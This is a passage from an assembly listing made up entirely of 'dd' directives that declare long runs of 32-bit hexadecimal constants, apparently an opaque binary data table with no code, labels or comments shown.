14BB136h, 84E07C0h, 30063CA5h, 6518E142h dd 4059DE4Dh, 0E77D00BAh, 2A275D8Dh, 9648AE91h, 0D6620950h dd 0F23401EDh, 0D3BA51h, 66382C69h, 0A7E80308h, 0F55D7A01h dd 0DB34626Bh, 997DB022h, 6D6A0308h, 14ED0A22h, 0F08058FAh dd 0D4CC047h, 523E680Ah, 920288BCh, 8834F71Fh, 0D21124E0h dd 383F2D0Eh, 0C2C62300h, 2A0071A8h, 649785BFh, 24D0225Dh dd 6090CDFCh, 0B2D63528h, 0C1D5E888h, 0BB36C149h, 0E04AE438h dd 7FB60607h, 5BA3EA9Ch, 0B91A800Bh, 0F8C4A39Ah, 30D0C017h dd 0ED10B424h, 40001086h, 9980F3F8h, 0BC52DBDh, 0E8B02CD0h dd 0EE094490h, 0C78D8500h, 89D9515Ah, 844F0047h, 30A79C0Bh dd 0C4CB959Bh, 93881059h, 0ECB9D3C5h, 0E0860049h, 0A9FD97F1h dd 940924A3h, 0AA60406Ch, 1700EB8Eh, 90D0144Eh, 3C4D98B2h dd 8A0259F3h, 473019A6h, 10DED441h, 0B0C3A0h, 60620A8Eh dd 275429DDh, 6BB58004h, 38C8E8D9h, 0BF1B031Ch, 2E91FC30h dd 1574FDC0h, 85D0F8C7h, 85027F7h, 13FBC77Ch, 20BAB2AEh dd 9887AD2Ch, 94D54Ch, 0B7F9D26Ch, 733958h, 5D759B71h dd 8E61190Fh, 0EC95960h, 394272Fh, 0A289CA6Bh, 34F0E638h dd 0D8A8FFDAh, 0F8009718h, 622AC6C2h, 0F66C06F5h, 0CCD7EE5Ah dd 0DF09B7B1h, 0BAA95500h, 5A9BF1B2h, 0A353B05h, 20B92D02h dd 0D044ADC9h, 24B5B82Eh, 34A26E0Ah, 9545700h, 9D0FBD7h dd 180AC014h, 40FEAC84h, 0C355A280h, 451F0BADh, 98922D5Ah dd 0EB4B0C8Fh, 3CE2D010h, 0DFC7D00h, 17AAC89Ah, 3889078h dd 3FF28AD8h dd 3188B6B2h, 0F40339CCh, 0BBAC719h, 0FD2EB1Eh, 5EC98D21h dd 0C5641400h, 18C0D6B6h, 1EF085A3h, 9A1D08F3h, 8800B238h dd 4EDBDA51h, 419CE7D9h, 0F83BC71Dh, 3188A015h, 670012F4h dd 8646CF4Ah, 3F72C1Eh, 64113E79h, 6119AA99h, 0FE41E2D9h dd 0E37EAF8h, 53976D79h, 0BB49D500h, 0BD00CC01h, 2116939Eh dd 0F6CD31h, 5FAAF387h, 627499C7h, 0DFCEFD16h, 59B0CF0Ch dd 6EEB2049h, 0BE1FECF0h, 0C7C00424h, 69C0E86Dh, 0FAEB30A0h dd 9D6C1021h, 0DE306201h, 41E487ECh, 440CE9BBh, 0B0F09509h dd 0D76F6701h, 3F211119h, 0F8E72C70h, 60617EB3h, 268279B7h dd 41C0468Fh, 7E0963D0h, 0DADC0073h, 0B040BA1Ch, 0D93093EDh dd 0E378F985h, 956E00B6h, 58744EF0h, 41C4198Fh, 2EC080EEh dd 9E363Ch, 213289D8h, 9385D29Bh, 0B952617Ah, 0F80D18D4h dd 30CC2CD1h, 48618CD9h, 5500A03Bh, 5D532392h, 8809658Dh dd 41C0A57Ch, 0C329A99Fh, 0E3BB009Dh, 758922B3h, 0DB000DDFh dd 40850B0Ch, 5B927Ah, 38242509h, 39AE1C43h, 9707670Ah dd 940144A6h, 0B755D316h, 6B9FCh, 29D403ADh, 0C6DC0C2Fh dd 97B6760Dh, 8B3031B8h, 3C1F0581h, 4CB72A9h, 4044EEC0h dd 3FB069E7h, 0ACA250D7h, 6052891Eh, 0B8004E38h, 0C78AD521h dd 15DBBE7h, 1D6D5018h, 50D1DA1Fh, 61BC1580h, 0C2813100h dd 0E08D5C0Ch, 371E8846h, 0E429D368h, 82B0B708h, 33ED8D45h dd 0A77C23h, 6AD41B19h, 0FC1E0EBh, 30749AE0h, 45E4370Fh dd 541C87E6h, 0A8D975E1h, 30C05982h, 0EB6062C4h, 4700BFF0h dd 0E0A76DD7h, 264262Eh, 0BC2BF38Eh, 0E0A056EBh, 1CAE38FAh dd 5B599600h, 0E7D5FDC3h, 51370041h, 8EEBE5F6h, 8F30986Ch dd 0C105A11Dh, 0FF280065h, 3136633Eh, 0EA009A4Eh, 1756AD8Fh dd 3E0DDB2Ch, 0B68045ACh, 0AEE1C421h, 0B078BBFCh, 64444892h dd 0A57974h, 75E91008h, 0F4C72E4Dh, 13262804h, 8480AF22h dd 2C61274Bh, 1A112410h, 4884B96Fh, 163242B6h, 0EE5B6107h dd 7300C422h, 6DDF1E2Ch, 280001B5h, 7E33CFA1h, 0C4960E4h dd 0D9242A93h, 0F801B241h, 569B5807h, 542279C8h, 0D7F35D00h dd 6E443391h, 2008C70h, 833248A8h, 10AB763Ch, 246DFFAEh dd 71011A38h, 0D0C41E81h, 56795981h, 428EA863h, 3220B1F8h dd 351EFB42h, 829D523h, 21814400h, 0CA88428Fh, 4C146160h dd 0AF038C50h, 0F50DE0BAh, 3682DC0h, 5653F200h, 0F3FA6ADh dd 249999h, 253B6FDFh, 0B400E26Ch, 7FE8C41Ch, 0F88B1E0Ch dd 0D9CE1807h, 0EE6B79CFh, 5F27F700h, 53646115h, 0B1F487h dd 0F0C48809h, 0D063A1Ah, 1E30B000h, 4C318D72h, 0FF090164h dd 0AF54D0C8h, 0AE33E825h, 6191DA3Fh, 1B2BE170h, 0C2C8A031h dd 33323D1Ah, 2C58F9h, 9DF75680h, 4073795Bh, 1983D930h dd 0E95A77h, 34050190h, 3513841h, 29241CFAh, 3601B3C4h dd 12B6BBB5h, 1536FD8h, 3B7E5985h, 9D522419h, 6A00C4C0h dd 0B350880Fh, 8C45548Fh, 0B62D003Ah, 0CE3ED057h, 8E26DC23h dd 0C747CCE5h, 0A0D85D50h, 3C4C488Dh, 35FF8F0Eh, 0A55E7E80h dd 0F8C30FA3h, 0C031DDA4h, 93FAFE3h, 0BC9711A9h, 0F7A63090h dd 0A1923A00h, 2582DC80h, 0BE1A045Dh, 0C2CC9304h, 129E59Ch dd 60EB4FD0h, 1E951180h, 3B1D9709h, 7C51C40Bh, 0ED040069h dd 30C83174h, 2580242Eh, 8954DA40h, 0AA17BE98h, 0D300564Eh dd 0B0E1F17Eh, 0B6FD0AEEh, 288B7C8h, 74BC9D92h, 32308741h dd 798D0940h, 0A338912Fh, 0D8E9F511h, 7F26F44Ch, 4300EA18h dd 846D8846h, 10DA48CCh, 0DE05A209h, 8049E405h, 442D12F1h dd 4463F7h, 0C4A8CD15h, 9A3A57h, 0E6AD8167h, 8ED9430Dh dd 401388h, 83AAED38h, 45A685BEh, 1667F15Ch, 0A808BAC8h dd 0A8D78062h, 0B6E90ECDh, 132BC4Ch, 7079D922h, 0CAE880BEh dd 0D84B50D0h, 0B7B50BA1h, 44986AEDh, 0A73F32EBh, 56E285BAh dd 0EBC0CBDDh, 0B44F8D0h, 917DA327h, 7114B000h, 48C26198h dd 815E6979h, 64ECEFD0h, 0A41AD910h, 0AFDF0800h, 8C1E611Fh dd 887C24D0h, 0C4430074h, 0FDEB530Dh, 981A31C0h, 73EC277h dd 7A7F892Eh, 34253074h, 0E81DA34Ah, 4F08C94Eh, 3A9A8A5Ah dd 277F80A0h, 28BB8569h, 0DD5F5C04h, 0C0CD4170h, 52D09A81h dd 0C8FF2AC3h, 4200E19Fh, 961992CBh, 0F01A47h, 3B6A729Ch dd 0F24E67B3h, 0C9317B14h, 282526E0h, 0D51C013Eh, 71ED0E82h dd 24303420h, 110CC192h, 8A210438h, 0BCC3648Fh, 0C421C40Bh dd 90D912A2h, 0EF6EB4h, 93EE9D2Bh, 785DC4BFh, 0ED306C00h dd 0CAB3FA52h, 9836B061h, 74545B8h, 0E37A729Ch, 0C09DC485h dd 91673DFCh, 0AF5C716h, 0C1204D01h, 3072D893h, 0E95F4700h dd 0AB6D4D11h, 0C9069AB8h, 575AA292h, 7C1511A1h, 958BFh dd 70541859h, 351B0C2h, 53D41F87h, 49B0A209h, 0C80312A0h dd 2407B656h, 0EE99E968h, 17044470h, 309DD2BAh, 30154890h dd 6601B37Eh, 3EBD24E0h, 16F0D4FCh, 1FFE249Ah, 263C01D0h dd 0FD3F1B31h, 97A43051h, 300E8B1h, 20A98265h, 951A0043h dd 0BF76642Fh, 610ADD88h, 0EFCF3656h, 3F93FE00h, 29E516B0h dd 0B87C52h, 0AB2ED18Ah, 0C80093C3h, 0A084A569h, 484C5771h dd 0C9146485h, 574AC11h, 0DA27B50h, 0FE8C49E7h, 27532080h dd 0E498932Dh, 0BCD86E26h, 0DE134940h, 238B008Fh, 6457C9D4h dd 37908498h, 9E80D513h, 0F9D1EC01h, 0EF60ABC0h, 521F1286h dd 44C30B6h, 840008C4h, 0A456068Ch, 7E97CDAh, 0FD03A1CAh dd 0E580624Ah, 0D4CD490h, 4E71D000h, 22B7C1D7h, 548E3A49h dd 81F0989Eh, 519F7247h, 0A07C3407h, 0FDFAC402h, 4060D1BDh dd 7A293D4h, 0EC8172B8h, 7C8280B6h, 0E39837F0h, 0B401EC99h dd 48CFA580h, 8410E2D2h, 24444470h, 0A008B4DAh, 0A762FE00h dd 5207A290h, 0D14900B3h, 0D7EFD0E9h, 0D83A9567h, 14C84CCCh dd 62A06F5Eh, 98F47D80h, 55F5F0h, 6757362Ah, 422132A6h dd 0CCADB900h, 15273570h, 0F58B180Ah, 5682C04Eh, 0E9ACE050h dd 26C19E05h, 99C0858Ah, 50D75388h, 4C2C79h, 9640B26Bh dd 0E54A1AC5h, 0C17EF900h, 0C056F499h, 0C42B5313h, 0FF2DE900h dd 0F85E3A54h, 0DA5CDC00h, 244932CBh, 7D5638ACh, 0B296C064h dd 85A50088h, 0A6B406BAh, 297C19h, 0B354E6D6h, 210A9383h dd 62981160h, 64CC1Eh, 447BDF79h, 0F5850C74h, 1F22DD01h dd 0C361343Fh, 511E7472h, 70238298h, 4C411CEDh, 64EFD83Ch dd 41457812h, 0EC824800h, 267B1C2h, 0FF888C7Ah, 0A8523B1Eh dd 0C204726h, 0D664C702h, 30CC64Bh, 5AAEA319h, 26CB9D52h dd 3C2359B8h, 74BE135Ch, 3F4C673Ch, 85298298h, 0A0329A5Ah dd 1534F990h, 84F40Dh, 80813167h, 22EF89F1h, 0C273FA2Ch dd 0CC8B0C02h, 945162h, 299BC428h, 0A2009A6Ch, 0D9872C33h dd 261BED1h, 18968D0Ah, 8CC09D75h, 0C1D356A3h, 42C4F401h dd 4C33B5A0h, 38B0EB1Ch, 6185F00h, 128BA196h, 4AD0C400h dd 47B9F7C9h, 3F240995h, 0C6899A3h, 91005F7Dh, 6110FEC8h dd 1ECADEE6h, 0E2FCCCh, 0D1C3D880h, 6C90C865h, 0E82A8A44h dd 81B901F1h, 0A8EAE33Ch, 0CC81CE1Dh, 82BD7C22h, 0E0D74491h dd 50CCE0C4h, 0DA760717h, 826ACFEFh, 5CEC1D91h, 0F43AE490h dd 0BBAD18B4h, 0A008A341h, 0CF0778h, 0ACC37E87h, 0A6728C10h dd 0A4A4E5FCh, 0BC25D100h, 0DC30CAA9h, 6A7494h, 6E4DA1A3h dd 2AF41374h, 0F70E09EEh dd 51E5FBC5h, 67958200h, 0BE351E77h, 0C77D8AF0h, 128E8B06h dd 81DDD9h, 7B2618CBh, 8A1C3D50h, 1A5A0B00h, 74990538h dd 241B48D1h, 3077F000h, 0CA250E9Ah, 0EC2A4909h, 2200FF03h dd 20D15C67h, 0A364AC06h, 0A681590Eh, 16CF0020h, 0EB01CE2Ah dd 0E43C2E5Ch, 2D8B00FEh, 93797E35h, 8FB01877h, 956E311Ch dd 874BEB00h, 4DC834DFh, 2C72F15Ch, 9665F00Eh, 0B361FBE7h dd 0A287ADAFh, 0E8604982h, 5F09CA11h, 6EB9B8h, 4EE0CC84h dd 0E38C028Ah, 658DAD9Ah, 5B032079h, 0CFBA8209h, 0B498E1C5h dd 0B34C001Dh, 1BAD535Bh, 6702B537h, 179F764Bh, 1660527Ch dd 4D44D8h, 0D158A1BEh, 0EA06221Ch, 159433FEh, 0FA460448h dd 81B66AD4h, 29ECD304h, 59150060h, 3AA28DC5h, 0E48F1F6Ch dd 79CC0BAh, 7165EEC4h, 0A8B6D524h, 38302660h, 8E44000Ch dd 0C4F78934h, 0BE01407Eh, 0D4B3991Ch, 0B9D31198h, 64D45EAEh dd 0A9B4699Eh, 8A0964A1h, 9480CA6Dh, 58AC1BCCh, 0BB80648h dd 184C56D9h, 0C9429Ch, 0DDDC2E85h, 416A8F9Ch, 441DA300h dd 0D8C1D164h, 168915ACh, 0C41F5008h, 969FBE3Dh, 40385FA7h dd 4ECC8DA6h, 97FE53Ah, 0A1C99915h, 0E10A738Ch, 0A39B6A0Eh dd 69A44D04h, 0B483ECC0h, 789D02C1h, 0CF457FB7h, 87EC8840h dd 0A2B044B1h, 0B8BD2A1Eh, 8A7B7590h, 0A792C66h, 54154B00h dd 59270C0Fh, 8E200069h, 0DF6C1DB0h, 122C4681h, 0EF124C24h dd 311F3C20h, 0F9C90532h, 0C0076DF6h, 1BDE51E8h, 9ECF3A22h dd 0BDBF404Ch, 0B12463EDh, 0AB00014Eh, 4C2D40C4h, 0B0BA0086h dd 9CBEF630h, 0FC91C561h, 2A805A90h, 0ED55F7BFh, 0CB3E7715h dd 641E06CCh, 931B5ADh, 0E71DA062h, 860B40C4h, 8050E67Ah dd 0F3FCDA15h, 9E3C028Ah, 0D9F09556h, 657CA472h, 80015200h dd 0E4B42785h, 1A2B1FD5h, 4074648Eh, 7FB0C1C7h, 44E420Ch dd 991680FFh, 0A28B80A0h, 7CBE1E8Eh, 336B372Eh, 0A0B50Bh dd 0AECC8CE3h, 70DA1392h, 9ED4C81Bh, 0B9BF6111h, 0F8227448h dd 52C92C02h, 631BC386h, 0ED1E8BDFh, 2095C88h, 0EE8F21F4h dd 40D27C31h, 0AE355F00h, 22F0324Fh, 0E7CB1809h, 58BD5164h dd 4307A1F2h, 7291EED3h, 67CDFCD0h, 16310026h, 9B6EA34Dh dd 0C4F0F6FEh, 76293B01h, 301E11DDh, 9E043C41h, 7377DFF8h dd 58A35CA9h, 6FC8A24h, 1094BB8Fh, 8D518706h, 121873C9h dd 4E0FD6A9h, 356034B4h, 7F7B64E6h, 0D421704Fh, 0E2E40F68h dd 3BF80082h, 17F0CE33h, 9C183053h, 9358495Eh, 0C9780752h dd 82948AA8h, 4C80D976h, 5E4BA32Fh, 0C9173B00h, 0C4E67E53h dd 616A164Ch, 8B68D09Eh, 0F65C28A8h, 0E71000C0h, 0DA081AFCh dd 0A8EB76A5h, 0C74494h, 0BF065589h, 8FC2DF46h, 0CA9DC8C2h dd 0C4D976h, 0DE260594h, 0C90060D0h, 2F01AEE0h, 4C4AF553h dd 34589452h, 8348305Bh, 9F000450h, 1C75DCBFh, 9118E4D5h dd 0AE308C20h, 4900B956h, 0A27516E6h, 16352B0h, 0C39F785Ah dd 21870873h, 59F0600Ch, 61FEFA09h, 0D9E411C4h, 1100DC39h dd 0D090421Ah, 0A113B7F0h, 4AA27A6h, 0C26C07D3h, 5CD997E4h dd 0F1B90038h, 7ECF5328h, 95810311h, 930FA91Ch, 0C77BA804h dd 0CC88BA61h, 26EA0731h, 0CF8B8E2Ah, 11A04941h, 2103CF97h dd 0A4E6A203h, 0C185980Ch, 34E9005Dh, 5233FA88h, 0EB2C1E22h dd 8940E865h, 0B0A674D5h, 0E0EC0177h, 0AE1B98B1h, 0F4A880AFh dd 17B69CCh, 24F300ABh, 49B06F67h, 64015FB8h, 61C8AA09h dd 0C8209B85h, 58AEF4A5h, 36225C4Bh, 7F4C7C50h, 5607517Eh dd 2603D98h, 0A8A9B2C3h, 8F20B38h, 69E58E55h, 0D6009C96h dd 0E21E75C8h, 0F0240083h, 0C468852Ch, 0A10AB4DBh, 1808A25Dh dd 1197170Bh, 0D9DC6008h, 0C07F0074h, 9FA6F521h, 582465E8h dd 690B6E02h, 0E0240023h, 4F5969Ch, 0C0ADAC8Ah, 737480B1h dd 10BCB64Dh, 0E0F49940h, 945E1EE8h, 0EA678058h, 2B9E8815h dd 0AE61C004h, 24C2B347h, 3C442BBEh, 77BB6A0Eh, 888B206Dh dd 9DE745Bh, 0A985A2BCh, 4665EC04h, 0C961EEh, 8BDD16CAh dd 2FA704D1h, 0D048B42Eh, 41C0C424h, 276CE1E6h, 2057A2h dd 17FCAEFFh, 0A0B0BE75h, 0E50F9801h, 0D886EDB6h, 9B00D422h dd 9FF8BC36h, 8F397A72h, 80804840h, 0B6D181A8h, 9D2C00D8h dd 0E973F69Eh, 0B00931Dh, 5E7ED1Bh, 0C4B85Dh, 22B2E3E1h dd 0B1A25304h, 610F3412h, 6747001Dh, 0CC709882h, 0B8CE8A2Eh dd 2448910Ah, 3EED6038h, 9D3F325Fh, 95B80094h, 76E02EBAh dd 906D7296h, 0BE7B02B0h, 0B97C10E3h, 0C0930923h, 68F631h dd 0CE38CBE4h, 0A0F4BF11h, 0C0302C5Eh, 7CDD079Bh, 0CE5B860h dd 287C8D68h, 8C9497E9h, 0E2DC908Ah, 5C67A401h, 6CFC7F66h dd 7519FA51h, 40A0962Ah, 5D1DCB21h, 102E500h, 41EBA046h dd 2057045h, 7D12C7F1h, 68C43B1Bh, 0CBC57402h, 0A711999Fh dd 85107760h, 78E096B4h, 0EB451515h, 0E300E068h, 7AD49240h dd 0D7009E54h, 696AF0BAh, 1E9965CDh, 8BCA1FA7h, 51042CDAh dd 80A0A81Ch, 3BAD4FE3h, 9A2179Fh, 0B1A088FCh, 0E0F18Ah dd 8DF7DCE1h, 1B2E04A8h, 63631006h, 72DDD824h, 0E4273C0Ah dd 0CC391960h, 1207D835h, 0C44B838Bh, 30212080h, 0D4422C98h dd 8D32088Ch, 0E27810ADh, 0B15C01CBh, 8EBE2DA8h, 8E446C15h dd 8789E028h, 3A54F49Fh, 0D801642Ch, 7426D26h, 402A7Ch dd 2B93A48Eh, 78E700E1h, 413D4549h, 9F03EBACh, 0F9AE40EFh dd 0D280224Fh, 18B9C2Dh, 5B049884h, 947085C9h, 481D1E1Eh dd 8015DDF6h, 241316F3h, 438887DAh, 0CAF11F07h, 3CFF4281h dd 3760DE89h, 0B64A93F4h, 915B088h, 89ED6110h, 254C6FF0h dd 97E30900h, 8880282Ah, 11158B00h, 3E3B6AF4h, 141F2407h dd 0D8AA9Ah, 0A5531398h, 33116BFFh, 3823C200h, 0B22C5E8h dd 31690F81h, 480BB9E4h, 7AAC1980h, 6309A5FAh, 0C8E656A3h dd 5DCA93Ch, 0A291ED90h, 0D9E42450h, 9AB430B8h, 0D80DCB6h dd 0C65A3724h, 80474CBBh, 2086F102h, 7080DAEAh, 0D2F4DCC8h dd 13A69C06h, 0B28C64Dh, 0CCB4D8DEh, 0C000864h, 0B9ED5B15h dd 77DF7ECh, 43AC67CBh, 0A3F6A179h, 84286C53h, 7855B0C3h dd 6E8F809Eh, 60BDAE2Bh, 0FA1939h, 0C1E0D0F6h, 27B5D03h dd 61423F26h, 6880BFB7h, 4AC4F509h, 41876B18h, 2CAC1CE0h dd 11C4370Dh, 0E18800B4h, 56607DDBh, 3F8FF0A9h, 0B84F5446h dd 0A8444A32h, 0C4C4496Ch, 0A87C8401h, 3C300AD4h, 0F6522C71h dd 0E5FF09ACh, 3C836810h, 0AF95D12h, 2F7A05AFh, 0E78830DDh dd 4000854Ah, 9A1B5893h, 60CE515Dh, 789F5074h, 0C4022A45h dd 405B1CF9h, 3890C16Fh, 82892110h, 0DAC44101h, 9923AC83h dd 0BE764460h, 65E5409Ch, 4C06EEC5h, 434D5BF5h, 3B4B96Eh dd 0CEB30C53h, 6F274A98h, 0DFDC4250h, 220BB2Fh, 0C04EE080h dd 91979FD8h, 0CE0A00C4h, 0C685C9AAh, 38E6D201h, 34E5EE32h dd 94488FDDh, 9F2D00C9h, 9E7C4E68h, 0EA00C417h, 0C3E23A2Eh dd 77CA1C9Ch, 0F298A0D0h, 0C4A14C03h, 0BC204C41h, 36E28B46h dd 0C90050F9h, 87536181h, 1FB0F6C8h, 1252CE06h, 35F88866h dd 2C73B307h, 6B14123Fh, 0C48784ACh, 0AE80B00Ah, 2B1FBB60h dd 1B80B357h, 5FB67F20h, 6FBD00CDh, 73318D53h, 370F266Eh dd 3B06838h, 98B68E67h, 0BC53729Ah, 0CC814000h, 0BB00AB4Ch dd 7155C17Eh, 277F8648h, 0E8104B59h, 0F0F9147h, 40D0A81Ch dd 30748B20h, 21BB05AAh dd 8450888Fh, 124A2CCh, 2F324CEDh, 2863F4A9h, 1D2D8F01h dd 0D04BCDB6h, 3A07EAB1h, 6F4D22A7h, 85EFA260h, 57A327CCh dd 40AECC90h, 0E13AB077h, 793D0002h, 94723E96h, 0A7225h dd 93BDF326h, 9913EFBFh, 9481689Eh, 64AB557Ch, 1CDE8BE8h dd 3DD4A1h, 5D2EBB7Fh, 821DC27h, 9635009Ah, 6EC79D94h dd 1F7CFD07h, 0CE34CB38h, 4992ACC0h, 0B97E0CFAh, 0BA3644CDh dd 0A10DE600h, 5BD3C731h, 2FDA00BFh, 0BC898167h, 40B10637h dd 12776880h, 334461h, 287D310Dh, 3DFD3B5Ah, 4572E57Eh dd 0CE07217Ch, 85A33C8Fh, 7CFACFD0h, 39510105h, 48BA17B5h dd 47C2899h, 0F13730B0h, 6C001CA2h, 0B1F9A838h, 410F5CFEh dd 20BB1EE0h, 0C5F22F7Bh, 20104BB4h, 9DA6485Ch, 3D4F5B00h dd 0B5191418h, 562BFB1Eh, 947001DCh, 0F04C8E52h, 19D4E138h dd 593AC108h, 0F6C0880Ah, 2C260F9Dh, 0A4605E4Ch, 2D17ABCAh dd 0EE615808h, 7D9D8060h, 1BF35E53h, 0D8165D12h, 819088h dd 30FBA1DAh, 3B8590B7h, 69BAD31Eh, 0DD0302B8h, 401F9E6Ch dd 8AFB0E0Ch, 85EC8BC0h, 0BC98647Dh, 2CF844h, 72A051CEh dd 6794975Bh, 0B6B37C00h, 5360036Dh, 340E01F7h, 0A3E72CF8h dd 351C4150h, 0D8302B65h, 146748Ah, 0FDE1B3D5h, 31F4CF6Fh dd 70C0DA24h, 649E937Ch, 0AA37E04Eh, 0B481EDh, 5B3CC952h dd 543BA853h, 5C4A5D01h, 85871F35h, 99C161ECh, 4A30BECh dd 0E8C76C18h, 4C270D4Ah, 4F9665A0h, 0CAF0055h, 0AE86666Fh dd 0D014716h, 372767F3h, 0BC64F410h, 0CEEDE989h, 7B80E868h dd 0AB63D78Ch, 6C5AE800h, 897F3743h, 142E1E24h, 571681BFh dd 0A7A9B061h, 444491h, 31C5D343h, 1B419FB3h, 0E0FE5B00h dd 6734E690h, 95B13DA4h, 0CA264800h, 5711AF5Ah, 0A8DAF511h dd 904A7A03h, 0E7972334h, 90640797h, 0AE730AB7h, 0CC322502h dd 44EB274Dh, 0CD630060h, 4A294E43h, 7B0F2FE8h, 0A0C476C2h dd 46F7F81Dh, 4038093Ch, 9004EA2Ah, 0E03CC289h, 0AC9C1A43h dd 48BD8068h, 659D33h, 0F1EEB8Eh, 0C11B2706h, 5441794Bh dd 0F34C17D1h, 9446F0h, 32318CCh, 0FECD32F5h, 8A1FA8A0h dd 0AE00BF79h, 18CAD431h, 0F4D8C42Ch, 76222603h, 4211D8h dd 0AC096ED4h, 2648E8D5h, 718F91Ah, 406C3F9Ch, 56AE8AADh dd 310B94B8h, 0E10EB7A6h, 23DAC628h, 0A2C59474h, 0B6007E28h dd 7864E707h, 4CA34E16h, 72808808h, 0ED8D977Bh, 0AE0E18B1h dd 0F01905F3h, 384BF8C0h, 9A662637h, 0F1CE40F0h, 6900FA9Dh dd 0D75094E1h, 2C6DBC73h, 0D455DFh, 1311534Ch, 3802F8C4h dd 8DBF890Ah, 0D92089E4h, 12D0A670h, 846F0094h, 850DF616h dd 0E6E3CD0Ah, 1A019C6Fh, 0EB567271h, 500EC2Dh, 6379B122h dd 0E03A355Fh, 8AF94083h, 4BB08404h, 37108445h, 0D0301E42h dd 72673C80h, 39FEFCFBh, 6C4410B0h, 9E30948Fh, 64480E9h dd 27733A8Dh, 85213000h, 7654C4E5h, 519F2CF1h, 508A0C8Ch dd 0BC24A650h, 0B511C84Ah, 6B7E6407h, 0E09DE0B7h, 793D5B88h dd 0EE4917DEh, 0A409E020h, 80DC00C8h, 0F2130296h, 7300F1FCh dd 3856A5A3h, 4E2C1DFh, 762C8EEFh, 20E88D99h, 5A008071h dd 7EF6FA3Eh, 0E5B71EE4h, 7434E4h, 787D8E91h, 0BFFC212Bh dd 0F31BE20Eh, 0C0D560A4h, 5C7673E4h, 4422E405h, 150470B0h dd 0EEC07471h, 8F5CB4h, 0FBA0FC08h, 401E5647h, 0A11F2D07h dd 0AF6A3AEEh, 8026917h, 0E10C9467h, 7E103004h, 840008C3h dd 0F7A91874h, 78CBF3E4h, 99F8A02Ah, 87F00436h, 80448F31h dd 8D4D5C04h, 8074785Ch, 6F08E7C4h, 0EBBD26ABh, 609547D4h dd 0D95C2453h, 0B8B1307Dh, 42770B80h, 0B2109D4h, 605C6E54h dd 69719080h, 8F0BED98h, 849F85A2h, 3120D2ACh, 41003091h dd 0AA9C82E2h, 9099267h, 0DA1C9832h, 3BEEC47Ah, 0D2AFD000h dd 53D5A695h, 0D4400BA0h, 5C6475D7h, 29D9E000h, 556D5851h dd 9BAE011Dh, 9949D428h, 85ED408Ah, 0B2EC2CAh, 0EE00449Eh dd 4D5DDD73h, 5E670E98h, 0F1C5B90Dh, 1DD4F4DAh, 279D6900h dd 0EAA1D5E7h, 686A2F7Ch, 7A004350h, 0C414E0E2h, 1437D2FAh dd 94EE77D4h, 1815880h, 7A002EF4h, 0A91CE191h, 2611C328h dd 40CCD888h, 0EBC4184Dh, 178CA700h, 3B3A3E82h, 15D1005Ah dd 3507394Eh, 1A7B307Fh, 0D464DA17h, 90EFF430h, 1D17757h dd 0C27A2032h, 318D3E92h, 804468C5h, 23D3180Ch, 94A61Fh dd 1C8BD997h, 0CD431922h, 3126E01Dh, 0A59FAB05h, 5953A482h dd 95E982D0h, 6872C561h, 4A68524Ch, 1DC1488h, 93F0C4A7h dd 0E880ADCCh, 0C5010787h, 5331B6E0h, 30214203h, 48C0042h dd 0FB7B40D0h, 3BECD75h, 1A8A2112h, 3CE826D4h, 8807C807h dd 6C719A0Dh, 42C549D1h, 1287F868h, 0F0D8C097h, 0AC01590Fh dd 0BE085386h, 72EEC5E0h, 1C01D88h, 924D807Eh, 49D7B5E2h dd 0ECC21501h, 0CA3E6BFFh, 0B480403Ch, 17EAD247h, 1F0ED8BAh dd 5EFFC432h, 9B4A8CC1h, 7037B303h, 3E7ABC50h, 99260C11h dd 0C97D603Ch, 7B025B79h, 9E66A387h, 0F684648Fh, 0FF8B025Dh dd 0BF157DD4h, 8795F4C3h, 1C46B0F8h, 9B0432ACh, 6DECC512h dd 0E083D0A8h, 0FDD18508h, 0D772F480h, 5F4868C0h, 5B391C32h dd 81E80124h, 0E0FFDDA5h, 0CE097C51h, 0F126CDD2h, 54C70330h dd 0C3883B81h, 6F007209h, 49ED94AEh, 7CD77D88h, 119D01FBh dd 7C8D52F2h, 22E03344h, 1FB326D3h, 61390F58h, 9503E2C1h dd 3EC6D7Ch, 7BDC6ECBh, 1B8FD1FDh, 5224181h, 0E0B4FAE5h dd 0EA3E3F29h, 79C412DCh, 2F421C90h, 849D1D63h, 94B40062h dd 35D8AE5h, 0CE00D5B8h, 0C43A0A3Fh, 92285DCh, 8B9AE6C5h dd 0BB003C44h, 0EFFE9842h, 0E88DCB37h, 0AC360565h, 84CE5AE2h dd 41F900D0h, 21FA921Ch, 8D258814h, 2C7879BCh, 2FC1F305h dd 64B252F5h, 2700893Ah, 30939932h, 0A07DCCC3h, 7C2A1F0Ch dd 729879BAh, 0A8690022h, 64213E03h, 0D7164274h, 0F4204FA3h dd 9D68872Ch, 2F27BC90h, 8C222E09h, 8C489h, 7B618B60h dd 0A20A1E1Dh, 1BE9CF0Eh, 0F9400EDh, 7455E67Dh, 4558B856h dd 0E5EC4C1Eh, 1DA1741Fh, 0BD52BA01h, 30709D6Ch, 3CEE50C7h dd 48D3FA94h, 0A2167D25h, 0B7B48850h, 13694E84h, 951401DCh dd 0E28E2D2Ch, 0C51790E4h, 2C889FDDh, 646F03EAh, 0D14160E8h dd 0C692C580h, 3048E603h, 0F8F62AE2h, 0A0C879h, 0C41C3E52h dd 0CF4F5D47h, 5484175h, 64CD0A24h, 2C2840C2h, 517DC817h dd 186E3C30h, 25473BDh, 0F70A109h, 0F851A277h, 78001212h dd 0A6C02D74h, 0E73D0163h, 0C5BFC255h, 1C3346h, 0F8A63019h dd 3BAA57D4h, 0AB801B88h, 3184188Dh, 1F27192Fh, 48C0466Bh dd 91133FF5h, 0AA0C0924h, 0EDC07C9Ah, 5901E135h, 0EFCE3973h dd 2820FF40h, 5D1174C7h, 7681B43Dh, 5212143Eh, 5BE01820h dd 4E05E8CFh, 903BEDC4h, 83E69005h, 0F0EE3CC1h, 0EB0563F8h dd 4328413Ah, 0F8C22BA8h, 78036BF5h, 0A1E3ECA4h, 8D6FC17Ah dd 28907445h, 76AE1039h, 952278E4h, 0A6128499h, 4B0B8421h dd 5E005FB3h, 49F40A06h, 0E0889460h, 0B8EFDBA4h, 3E6E45F0h dd 0E109A020h, 82CF0935h, 0E8D86BDBh, 3C7477E4h, 41FEA505h dd 98CD49F8h, 363B60CEh, 617B7Ah, 1069ED02h, 70E5DC7Eh dd 0A7122D01h, 61878A20h, 3BCAFF60h, 0B824D98Dh, 0B26B440Ch dd 743A3E30h, 4005B5E6h, 196CAA55h, 5FB08980h, 0F070011Ah dd 0FEB66AC8h, 142D97h dd 0B3F4372Eh, 1945416h, 